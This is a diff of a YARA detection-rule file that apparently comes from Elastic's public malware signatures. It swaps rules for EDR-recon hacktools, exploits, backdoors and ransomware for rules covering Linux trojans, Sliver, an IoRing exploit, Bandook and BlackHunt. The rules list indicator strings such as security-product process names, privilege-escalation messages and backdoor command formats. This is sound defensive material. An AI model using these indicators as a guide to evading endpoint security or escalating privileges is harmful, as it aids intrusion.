-		$s23 = "csagent.sys" ascii wide fullword
-		$s24 = "avgntflt.sys" ascii wide fullword
-		$s25 = "bddevflt.sys" ascii wide fullword
-		$s26 = "CiscoAMPHeurDriver.sys" ascii wide fullword
-		$s27 = "DeepInsFS.sys" ascii wide fullword
-		$s28 = "eamonm.sys" ascii wide fullword
-		$s29 = "fortirmon.sys" ascii wide fullword
-		$s30 = "FlightRecorder.sys" ascii wide fullword
-		$s31 = "TmKmSnsr.sys" ascii wide fullword
-		$s32 = "cpepmon.sys" ascii wide fullword
-		$s33 = "cposfw.sys" ascii wide fullword
-		$s34 = "cyvrmtgn.sys" ascii wide fullword
-		$s35 = "elastic-endpoint-driver.sys" ascii wide fullword
-		$s36 = "elasticelam.sys" ascii wide fullword
-		$37 = "mbamwatchdog.sys" ascii wide fullword
-		$38 = "FortiEDRWinDriver" ascii wide fullword
-		$39 = "QaxNfDrv.sys" ascii wide fullword
-		$40 = "qmnetmonw64.sys" ascii wide fullword
-		$s41 = "TFsFlt.sys" ascii wide fullword
-		$s42 = "DsArk64.sys" ascii wide fullword
+		$a = { 6D 6F 64 00 73 65 74 75 74 78 65 6E 74 00 67 6D 74 69 6D 65 00 }
 
 	condition:
-		14 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Edrrecon_Ca314Aa1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_C3D529A2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Edrrecon (Windows.Hacktool.EDRrecon)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "ca314aa1-3bbe-489c-a77a-fb7a0eca1f67"
-		date = "2024-03-07"
-		modified = "2024-06-10"
+		id = "c3d529a2-f2c7-41de-ba2a-2cbf2eb4222c"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_EDRrecon.yar#L61-L115"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f62e51b2405c0d42c53ff1f560376ef0530ba2eea1c97e18f2a3cf148346bcd1"
-		logic_hash = "04b8681b0b6f8fa51eb90488edf35638da3334886c7db5fc22218712b0d23007"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L281-L299"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b46135ae52db6399b680e5c53f891d101228de5cd6c06b6ae115e4a763a5fb22"
+		logic_hash = "a508acd95844a4385943166f715606199048d96be0098bc89f9be7b9db34833e"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "58c6c2cbb92262098af27f8434863d1ea91c31f02727c5dde72d6ac07b3b872d"
+		fingerprint = "72ef5b28489e01c3f2413b9a907cda544fc3f60e00451382e239b55ec982f187"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s01 = "SentinelAgent.exe" ascii wide fullword
-		$s02 = "SentinelUI.exe" ascii wide fullword
-		$s03 = "MsMpEng.exe" ascii wide fullword
-		$s04 = "SenseIR.exe" ascii wide fullword
-		$s05 = "elastic-endpoint.exe" ascii wide fullword
-		$s06 = "elastic-agent.exe" ascii wide fullword
-		$s07 = "CylanceSvc.exe" ascii wide fullword
-		$s09 = "CybereasonAV.exe" ascii wide fullword
-		$s10 = "Traps.exe" ascii wide fullword
-		$s11 = "CyvrFsFlt.exe" ascii wide fullword
-		$s12 = "EIConnector.exe" ascii wide fullword
-		$s13 = "ekrn.exe" ascii wide fullword
-		$s14 = "fortiedr.exe" ascii wide fullword
-		$s15 = "RepMgr.exe" ascii wide fullword
-		$s16 = "TaniumDetectEngine.exe" ascii wide fullword
-		$s17 = "CSFalconService.exe" ascii wide fullword
-		$s18 = "CSFalconContainer.exe" ascii wide fullword
-		$s19 = "EndpointBasecamp.exe" ascii wide fullword
-		$s20 = "hmpalert.exe" ascii wide fullword
-		$s21 = "xagt.exe" ascii wide fullword
-		$s22 = "TMBMSRV.exe" ascii wide fullword
-		$s23 = "EIConnector.exe" ascii wide fullword
-		$s25 = "mcsclient.exe" ascii wide fullword
-		$s26 = "sophososquery.exe" ascii wide fullword
-		$s27 = "TaniumClient.exe" ascii wide fullword
-		$s28 = "asdsvc.exe" ascii wide fullword
-		$s29 = "avp.exe" ascii wide fullword
-		$s30 = "avpui.exe" ascii wide fullword
-		$s31 = "mbae-svc.exe" ascii wide fullword
-		$s32 = "mbae.exe" ascii wide fullword
-		$s33 = "ccSvcHst.exe" ascii wide fullword
-		$s35 = "bdagent.exe" ascii wide fullword
-		$s36 = "ir_agent.exe" ascii wide fullword
-		$s37 = "eguiproxy.exe" ascii wide fullword
-		$s38 = "ekrn.exe" ascii wide fullword
-		$s39 = "Sysmon64.exe" ascii wide fullword
-		$s40 = "Sysmon.exe" ascii wide fullword
+		$a = { 1C 31 C0 5B 5E 5F 5D C3 8B 1C 24 C3 8D 64 24 04 53 8B DA 5B }
 
 	condition:
-		14 of them
+		all of them
 }
-rule ELASTIC_Linux_Hacktool_Cleanlog_C2907D77 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_4675Dffa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Cleanlog (Linux.Hacktool.Cleanlog)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "c2907d77-6ea9-493f-a7b3-4a0795da0a1d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4675dffa-0536-4a4d-bedb-f8c7fa076168"
+		date = "2023-07-28"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Cleanlog.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "613ac236130ab1654f051d6f0661fa62414f3bef036ea4cc585b4b21a4bb9d2b"
-		logic_hash = "39b72973bbcddf14604b8ea08339657cba317c23fd4d69d4aa0903b262397988"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L301-L320"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "43e14c9713b1ca1f3a7f4bcb57dd3959d3a964be5121eb5aba312de41e2fb7a6"
+		logic_hash = "d2865a869d0cf0bf784106fe6242a4c7f58e58a43c4d4ae0241b10569810904d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "131c71086c30ab22ca16b3020470561fa3d32c7ece9a8faa399a733e8894da30"
+		fingerprint = "7aa556e481694679ce0065bcaaa4d35e2c2382326681f03202b68b1634db08ab"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78859,230 +82884,208 @@ rule ELASTIC_Linux_Hacktool_Cleanlog_C2907D77 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 89 E5 48 83 EC 10 89 7D FC 83 7D FC 00 7E 11 8B 45 FC BE 09 00 }
+		$a1 = ", i = , not , val ./zzzz.local.onion"
+		$a2 = { 61 74 20 20 25 76 3D 25 76 2C 20 28 63 6F 6E 6E 29 20 28 73 63 61 6E 20 20 28 73 63 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Cleanlog_3Eb725D1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sliver_46525B49 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Cleanlog (Linux.Hacktool.Cleanlog)"
+		description = "Detects Windows Trojan Sliver (Windows.Trojan.Sliver)"
 		author = "Elastic Security"
-		id = "3eb725d1-24de-427a-b6ed-3ca03c0716df"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "46525b49-f426-4ecb-9bd6-36752f0461e9"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Cleanlog.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4df4ebcc61ab2cdb8e5112eeb4e2f29e4e841048de43d7426b1ec11afe175bf6"
-		logic_hash = "a9530aca53d935f3e77a5f0fc332db16e3a2832be67c067e5a6d18e7ec00e39f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Sliver.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ecce5071c28940a1098aca3124b3f82e0630c4453f4f32e1b91576aac357ac9c"
+		logic_hash = "6e61d82b191a740882bcfeac2f2cf337e19ace7b05784ff041b6af2f79ed8809"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "54d3c59ba5ca16fbe99a4629f4fe7464d13f781985a7f35d05604165f9284483"
+		fingerprint = "104382f222b754b3de423803ac7be1d6fbdd9cbd11c855774d1ecb1ee73cb6c0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 E0 83 45 C0 01 EB 11 83 45 DC 01 EB 0B 83 45 D8 01 EB 05 83 45 }
+		$a1 = { B6 54 0C 48 0F B6 74 0C 38 31 D6 40 88 74 0C 38 48 FF C1 48 83 }
+		$a2 = { 42 18 4C 8B 4A 20 48 8B 52 28 48 39 D9 73 51 48 89 94 24 C0 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Cleanlog_400B7595 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sliver_C9Cae357 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Cleanlog (Linux.Hacktool.Cleanlog)"
+		description = "Detects Windows Trojan Sliver (Windows.Trojan.Sliver)"
 		author = "Elastic Security"
-		id = "400b7595-c3c4-4999-b3b9-dcfe9b5df3f6"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "c9cae357-9270-4871-8fad-d9c43dcab644"
+		date = "2023-05-10"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Cleanlog.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4df4ebcc61ab2cdb8e5112eeb4e2f29e4e841048de43d7426b1ec11afe175bf6"
-		logic_hash = "e36acf708875efda88143124e11fef5b0e2f99d17b0c49344db969cf0d454db1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Sliver.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "27210d8d6e16c492c2ee61a59d39c461312f5563221ad4a0917d4e93b699418e"
+		logic_hash = "fea862352981787055961b1171de9b69a9c13d246f434809c8f4416d5c49a0ff"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4423f1597b199046bfc87923e3e229520daa2da68c4c4a3ac69127ace518f19a"
+		fingerprint = "5366540c4a4f4a502b550f5397f3b53e3bc909cbc0cb82a2091cabb19bc135aa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 72 20 65 6E 74 72 79 20 28 64 65 66 61 75 6C 74 3A 20 31 73 74 20 }
+		$a1 = { B1 F9 3C 0A 68 0F B4 B5 B5 B5 21 B2 38 23 29 D8 6F 83 EC 68 51 8E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Exploit_Generic_E95Cc41C : FILE
+rule ELASTIC_Windows_Trojan_Sliver_1Dd6D9C2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Generic (Windows.Exploit.Generic)"
+		description = "Detects Windows Trojan Sliver (Windows.Trojan.Sliver)"
 		author = "Elastic Security"
-		id = "e95cc41c-6cad-4b9c-b647-3c60e6614e25"
-		date = "2024-02-28"
-		modified = "2024-06-12"
+		id = "1dd6d9c2-026e-4140-b804-b56e07c72ac2"
+		date = "2023-05-10"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_Generic.yar#L1-L32"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4cce9e39c376f67c16df3bcd69efd9b7472c3b478e2e5ef347e1410f1105c38d"
-		logic_hash = "9b620988a6ee84ed0cbb0fb0a3cca633fffc8e6369ed45455e9e1e6c021ea461"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Sliver.yar#L42-L61"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc508a3e9ea093200acfc1ceebebb2b56686f4764fd8c94ab8c58eec7ee85c8b"
+		logic_hash = "5ef70322a6ee3dec609d2881b7624d25bc0297a2e6f43ac60834745e6a258cf3"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "78f78de7cee54107ee7c3de9b152ce3a242c1408115ab0950ccdfc278ed15a19"
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "fb676adf8b9d10d1e151bfb2a6a7e132cff4e55c20f454201a4ece492902fc35"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = "Got system privileges" nocase
-		$s2 = "Got SYSTEM token" nocase
-		$s3 = "Got a SYSTEM token" nocase
-		$s4 = "] Duplicating SYSTEM token" nocase
-		$s5 = "] Token Stealing is successful" nocase
-		$s6 = "] Exploit completed" nocase
-		$s7 = "] Got SYSTEM shell." nocase
-		$s8 = "] Spawning SYSTEM shell" nocase
-		$s9 = "we have a SYSTEM shell!" nocase
-		$s10 = "Dropping to System Shell." nocase
-		$s11 = "] Enjoy the NT AUTHORITY\\SYSTEM shell" nocase
-		$s12 = "] SMEP is disabled" nocase
-		$s13 = "] KUSER_SHARED_DATA"
-		$s14 = "] Found System EPROCESS"
+		$a1 = { B7 11 49 89 DB C1 EB 10 41 01 DA 66 45 89 11 4C 89 DB EB B6 4D 8D }
+		$a2 = { 36 2E 33 20 62 75 69 6C 48 39 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Exploit_Generic_008359Cf : FILE
+rule ELASTIC_Windows_Exploit_Ioring_1E4A8F47 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Generic (Windows.Exploit.Generic)"
+		description = "Detects Windows Exploit Ioring (Windows.Exploit.IoRing)"
 		author = "Elastic Security"
-		id = "008359cf-5510-4f91-8cb1-7b4ff645bf2d"
+		id = "1e4a8f47-0c04-4219-bc51-03ed0078d8a9"
 		date = "2024-02-28"
-		modified = "2024-06-12"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_Generic.yar#L34-L57"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "73225a3a54560965f4c4fae73f7ee234e31217bc06ff8ba1d0b36ebab5e76a87"
-		logic_hash = "9514241b5573c8d01ccd012195e29aefc3ef8a12eb982e6dd9ec66b00c064bd8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_IoRing.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ba2bd270bf3f312dfa3f77f0716edb634c90506c87f82c04aee09445d18738eb"
+		logic_hash = "cbbea9a60bde13356ce88cd96aacaa02a3c99f4ae0b48c4ba84b72528a3d6b91"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "3ef3b6bbe2141cb8ce47a5ee7c7531e72773d4dc4e478bb792c9230e4948db02"
+		tags = "FILE, MEMORY"
+		fingerprint = "a9048bd34f6dd5b7da283ff23397fa22802049fdce15915ea023b27b9b825d30"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { C6 85 ?? 01 00 00 74 C6 85 ?? 01 00 00 58 C6 85 ?? 01 00 00 58 }
-		$a2 = { C6 45 ?? 41 C6 45 ?? 66 C6 45 ?? 64 C6 45 ?? 4F C6 45 ?? 70 C6 45 ?? 65 C6 45 ?? 6E C6 45 ?? 50 C6 45 ?? 61 C6 45 ?? 63 C6 45 ?? 6B C6 45 ?? 65 C6 45 ?? 74 C6 45 ?? 58 C6 45 ?? 58 }
-		$b1 = "NtCreateFile"
-		$b2 = "\\Device\\Afd\\Endpoint" wide nocase
-		$b3 = "\\Device\\Afd\\Endpoint" nocase
-		$b4 = "NtDeviceIoControlFile"
+		$s1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 69 00 6F 00 72 00 69 00 6E 00 67 00 5F 00 6F 00 75 00 74 00 }
+		$s2 = "ioring_read" wide nocase
+		$s3 = "ioring_write" wide nocase
+		$s4 = "IoRing->RegBuffers" nocase
 
 	condition:
-		1 of ($a*) and 3 of ($b*)
+		2 of them
 }
-rule ELASTIC_Windows_Exploit_Generic_8C54846D : FILE
+rule ELASTIC_Linux_Hacktool_Aduh_6Cae7C78 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Generic (Windows.Exploit.Generic)"
+		description = "Detects Linux Hacktool Aduh (Linux.Hacktool.Aduh)"
 		author = "Elastic Security"
-		id = "8c54846d-07ee-43bc-93e1-72bf4162ab87"
-		date = "2024-02-29"
-		modified = "2024-06-12"
+		id = "6cae7c78-a4b4-4096-9f7c-746b1e5a1e38"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_Generic.yar#L59-L87"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b6ea4815a38e606d4a2d6e6d711e610afec084db6899b7d6fc874491dd939495"
-		logic_hash = "0662c8edb449e15b16be3e53a88cf62af46b4a656c1a49b399e131c2ad71b55a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Aduh.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9c67207546ad274dc78a0819444d1c8805537f9ac36d3c53eba9278ed44b360c"
+		logic_hash = "130df108de5b6cdfb9227f96301bdaa1e272d47b8cb9ad96c3aa574bf65870b2"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		fingerprint = "9acb35c06a21e35639c8026a18e919329db82a0629a8e2267f1f4fe00b3bb871"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8d7b0c1a95ec15c7d1ede5670ccd448b166467ed8eb2b4f38ebbb2c8bc323cdc"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 5C 63 76 65 2D 32 30 ?? ?? 2D ?? ?? ?? ?? 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C }
-		$a2 = { 5C 43 56 45 2D 32 30 ?? ?? 2D ?? ?? ?? ?? 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C }
-		$a3 = { 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C 43 56 45 2D 32 30 ?? ?? 2D ?? ?? ?? ?? ?? 2E 70 64 62 }
-		$a4 = { 5C 52 65 6C 65 61 73 65 5C 43 56 45 2D 32 30 ?? ?? 2D }
-		$a5 = "\\x64\\Release\\CmdTest.pdb"
-		$a6 = "\\x64\\Release\\RunPS.pdb"
-		$a7 = "X:\\tools\\0day\\"
-		$a8 = "C:\\work\\volodimir_"
-		$a9 = { 78 36 34 5C 52 65 6C 65 61 73 65 5C 65 78 70 6C 6F 69 74 2E 70 64 62 }
-		$b1 = { 5C 43 56 45 2D 32 30 ?? ?? 2D }
-		$b2 = { 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C }
+		$a = { E3 51 89 E2 51 89 E1 B0 0B CD 80 31 C0 B0 01 CD }
 
 	condition:
-		any of ($a*) or all of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Microbackdoor_903E33C3 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdkit_18A0B82A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Microbackdoor (Windows.Trojan.MicroBackdoor)"
+		description = "Detects Linux Trojan Sshdkit (Linux.Trojan.Sshdkit)"
 		author = "Elastic Security"
-		id = "903e33c3-d8f1-4c3b-900b-7503edb11951"
-		date = "2022-03-07"
-		modified = "2022-04-12"
+		id = "18a0b82a-94ff-4328-bfa7-25034f170522"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_MicroBackdoor.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fbbfcc81a976b57739ef13c1545ea4409a1c69720469c05ba249a42d532f9c21"
-		logic_hash = "5f96f68df442eb1da21d87c3ae954c4e36cf87db583cbef1775f8ca9e76b776e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdkit.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "003245047359e17706e4504f8988905a219fcb48865afea934e6aafa7f97cef6"
+		logic_hash = "4b7a78ebf3c114809148cc9855379b2e63c959966272ad45759838d570b42016"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "06b3c0164c2d06f50d1e6ae0a9edf823ae1fef53574e0d20020aada8721dfee0"
+		fingerprint = "9bd28a490607b75848611389b39cf77229cfdd1e885f23c5439d49773924ce16"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 55 8B EC 83 EC 1C 56 57 E8 33 01 00 00 8B F8 85 FF 74 48 BA 26 80 AC C8 8B CF E8 E1 01 00 00 BA }
+		$a = { 06 2A CA 37 F2 31 18 0E 2F 47 CD 87 9D 16 3F 6D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Microbackdoor_46F2E5Fd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bandook_38497690 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Microbackdoor (Windows.Trojan.MicroBackdoor)"
+		description = "Detects Windows Trojan Bandook (Windows.Trojan.Bandook)"
 		author = "Elastic Security"
-		id = "46f2e5fd-edea-4321-b38c-7478b47f054b"
-		date = "2022-03-07"
-		modified = "2022-04-12"
+		id = "38497690-6663-47c9-a864-0bbe6a3f7a8b"
+		date = "2022-08-10"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_MicroBackdoor.yar#L21-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fbbfcc81a976b57739ef13c1545ea4409a1c69720469c05ba249a42d532f9c21"
-		logic_hash = "580be4c5b058916c2bc67a7964522a7c369bb254394e3cedbf0da025105231c4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bandook.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4d079586a51168aac708a9ab7d11a5a49dfe7a16d9ced852fbbc5884020c0c97"
+		logic_hash = "199614993f63636764808313f25199348afdf4d537c8dca06f673559e34636b8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d4e410b9c36c1d5206f5d17190ef4e5fd4b4e4d40acad703775aed085a08ef7c"
+		fingerprint = "b6debea805a8952b9b7473ad7347645e4aced3ecde8d6e53fa2d82c35b285b3c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79090,33 +83093,33 @@ rule ELASTIC_Windows_Trojan_Microbackdoor_46F2E5Fd : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "cmd.exe /C \"%s%s\"" wide fullword
-		$a2 = "%s|%s|%d|%s|%d|%d" wide fullword
-		$a3 = "{{{$%.8x}}}" ascii fullword
-		$a4 = "30D78F9B-C56E-472C-8A29-E9F27FD8C985" ascii fullword
-		$a5 = "chcp 65001 > NUL & " wide fullword
-		$a6 = "CONNECT %s:%d HTTP/1.0" ascii fullword
+		$str1 = "%s~!%s~!%s~!%s~!%s~!%s~!"
+		$str2 = "ammyy.abc"
+		$str3 = "StealUSB"
+		$str4 = "DisableMouseCapture"
+		$str5 = "%sSkype\\%s\\config.xml"
+		$str6 = "AVE_MARIA"
 
 	condition:
-		5 of them
+		3 of them
 }
-rule ELASTIC_Windows_Ransomware_Rook_Ee21Fa67 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Blackhunt_7B46Cb9C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Rook (Windows.Ransomware.Rook)"
+		description = "Detects Windows Ransomware Blackhunt (Windows.Ransomware.BlackHunt)"
 		author = "Elastic Security"
-		id = "ee21fa67-bd82-40fb-9c6d-bab5abfe14b3"
-		date = "2022-01-14"
-		modified = "2022-04-12"
+		id = "7b46cb9c-4601-4be0-a2de-6a4f27d1a446"
+		date = "2024-03-12"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Rook.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c2d46d256b8f9490c9599eea11ecef19fde7d4fdd2dea93604cee3cea8e172ac"
-		logic_hash = "6fe19cfc572a3dceba5e26615d111a3c0fa1036e275a5640a5c5a8f8cdaf6dc1"
-		score = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_BlackHunt.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6c4e968c9b53906ba0e86a41eccdabe2b736238cb126852023e15850e956293d"
+		logic_hash = "97bb8436574fd814d8278e5a7043e011d0e4f9a7dd9df5e67605f28ac1af1e74"
+		score = 50
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8ef731590e73f79a13d04db39e58b03d0a29fd8e46a0584b0fcaf57ac0efe473"
+		fingerprint = "1e46e2de840bfd557147e686eb00c350d00f6d1c6b2b8d1df98165c73cbe89ba"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
